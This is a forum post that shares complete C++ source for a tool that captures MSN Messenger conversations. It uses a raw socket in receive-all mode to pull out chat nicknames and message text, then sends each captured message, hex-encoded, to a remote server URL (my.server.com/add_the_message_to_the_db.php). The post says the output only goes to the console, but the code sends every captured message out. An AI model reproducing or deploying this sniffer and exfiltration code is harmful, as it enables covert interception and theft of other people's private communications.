http://www.rohitab.com/discuss/topic/28939-my-msn-sniffer/Hi,
Just did this little thing to capture msn conversations. Right now it just displays the conversation in the console. You can write the output to a file or send it over the net, but you have to do that yourself.
You must include wsock32 and ws2_32 libs.
Maybe someone can give me insight on wether there are issues with raw sockets on specific OSes. I use XP sp2 and it works fine.
#include <string>
#include <windows.h>
#include <winsock2.h>
#include <wininet.h>
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
#define ERROR_WSA -1
#define ERROR_IP -2
#define ERROR_SOCK -3
#define ERROR_BIND -4
#define ERROR_RECV -5
#define ERROR_PROT -6
#define ERROR_DATA -7
#define ERROR_TIME -8
#define BUFFERSIZE 1024*1024
#define TIMEOUTSEC 30
using namespace std;
struct iphdr
{
unsigned char ver_len;
unsigned char tos;
unsigned short total_len;
unsigned short id;
unsigned short flags;
unsigned char ttl;
unsigned char protocol;
unsigned short checksum;
unsigned long ip_src;
unsigned long ip_dst;
};
struct tcphdr
{
unsigned short port_src;
unsigned short port_dst;
unsigned long seq_nr;
unsigned long ack_nr;
unsigned char len;
unsigned char flags;
unsigned short win_size;
unsigned short checksum;
unsigned short align;
};
SOCKET sock;
fd_set sockset;
int initialize()
{
closesocket(sock);
//Initialize WSA
WSAData wsa;
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) return ERROR_WSA;
//Get the IP of the adapter to bind to
PHOSTENT hostinfo;
char hostname[256];
char *ip;
if (gethostname(hostname, 256)) return ERROR_IP;
if (!(hostinfo = gethostbyname(hostname))) return ERROR_IP;
ip = inet_ntoa(*(struct in_addr *)*hostinfo->h_addr_list);
//Create a socket
sock = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
if (sock == INVALID_SOCKET) return ERROR_SOCK;
//Bind the socket
sockaddr_in addr;
int i = 1;
DWORD ret;
memset(&addr, 0, sizeof(addr));
addr.sin_addr.s_addr = inet_addr(ip);
addr.sin_family = AF_INET;
addr.sin_port = 0;
if (bind(sock, (sockaddr *)&addr, sizeof(addr)) == SOCKET_ERROR) return ERROR_BIND;
if (WSAIoctl(sock, SIO_RCVALL, &i, sizeof(i), NULL, NULL, &ret, NULL, NULL) == SOCKET_ERROR) return ERROR_BIND;
//Create the socket set for timeout checking
FD_ZERO(&sockset);
FD_SET(sock, &sockset);
return 0;
}
int parse_tcp(char* buffer, int len, char* result)
{
iphdr *IP;
tcphdr *TCP;
char *DATA;
IP = (iphdr*) buffer;
TCP = (tcphdr*)(buffer + sizeof(iphdr));
DATA = (char*)(buffer + sizeof(iphdr) + sizeof(tcphdr));
if (IP->protocol != 0x06) return ERROR_PROT;
memset(result, 0, BUFFERSIZE);
//test for msn message
if (memcmp(DATA,"MSG ",4)) return ERROR_DATA;
if (!strstr(DATA,"text/plain")) return ERROR_DATA;
//get the nickname
char *nick_start = DATA+4;
char *nick_end = strstr(nick_start, " ");
char nick[128];
memset(nick, 0, 128);
memcpy(nick,nick_start,nick_end-nick_start);
if (!strstr(nick,"@")) sprintf(nick,"localuser");
//get the message
char *message = strstr(DATA,"\r\n\r\n")+4;
sprintf(result,"%s: %s\n",nick, message);
return 0;
}
int post_message(char *message)
{
//make message hex
char action[BUFFERSIZE];
sprintf(action,"http://my.server.com/add_the_message_to_the_db.php?message=");
int initial_len = strlen(action);
for (int i=0; i<strlen(message); i++) sprintf(action+(i*2)+initial_len, "%02X", message[i]);
printf("%s\n",action);
//Initialize the Internet session for posting messages
HINTERNET session = InternetOpen("Limitz Agent",INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
HINTERNET request = InternetOpenUrl(session, action, NULL, 0, NULL, 0);
InternetCloseHandle(request);
InternetCloseHandle(session);
return 0;
}
int run_sniffer()
{
char *buffer = (char*) malloc(BUFFERSIZE);
char *result = (char*) malloc(BUFFERSIZE);
int len, error;
timeval tv;
tv.tv_sec = TIMEOUTSEC;
tv.tv_usec = 0;
while (true)
{
memset(buffer, 0, BUFFERSIZE);
error = select(sock+1, &sockset, NULL, NULL, &tv);
if (error <= 0)
{
//timeout
return ERROR_TIME;
}
len = recv(sock, buffer, BUFFERSIZE-1, 0);
printf(".");
if (len <= 0) {
printf("%d\n",len);
break;
}
error = parse_tcp(buffer, len, result);
if (error) continue;
post_message(result);
}
free(buffer);
free(result);
return ERROR_RECV;
}
int main(int argc, char *argv[])
{
int error;
while (1)
{
error = initialize();
if (error)
{
printf("%d\n",error);
Sleep(1000);
continue;
}
error = run_sniffer();
printf("%d\n",error);
}
return 0;
}